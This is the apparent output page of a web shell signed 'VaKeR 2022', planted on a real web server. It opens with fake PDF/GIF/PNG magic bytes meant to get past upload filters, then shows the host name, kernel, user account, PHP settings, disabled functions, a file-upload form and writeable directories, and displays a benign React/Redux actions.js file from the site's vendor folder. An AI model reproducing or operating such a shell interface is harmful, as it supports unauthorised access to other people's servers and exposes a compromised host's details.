%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/cakedc/mixer/src/React/components/FetchData/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/cakedc/mixer/src/React/components/FetchData/actions.js
import 'whatwg-fetch'

export const REQUEST_DATA = 'REQUEST_DATA'
export const RECEIVE_DATA = 'RECEIVE_DATA'

export function requestData(namespace, query) {
    return {
        type: `${namespace}/${REQUEST_DATA}`,
        query
    }
}

function receiveData(namespace, query, json) {
    return {
        type: `${namespace}/${RECEIVE_DATA}`,
        query,
        data: json.data
    }
}

export function fetchData(namespace, query) {
    return dispatch => {
        dispatch(requestData(namespace, query))

        window.scrollTo(0, 0);

        return fetch(query)
            .then(response => response.json())
            .then(json => dispatch(receiveData(namespace, query, json)))
    }
}

function shouldFetchData(state, namespace, q) {
    const results = state[namespace]
    if (!results) {
        return true
    } else {
        return !results.isFetching;
    }
}

export function fetchDataIfNeeded(namespace, q) {
    return (dispatch, getState) => {
        if (shouldFetchData(getState(), namespace, q)) {
            return dispatch(fetchData(namespace, q))
        }
    }
}

VaKeR 2022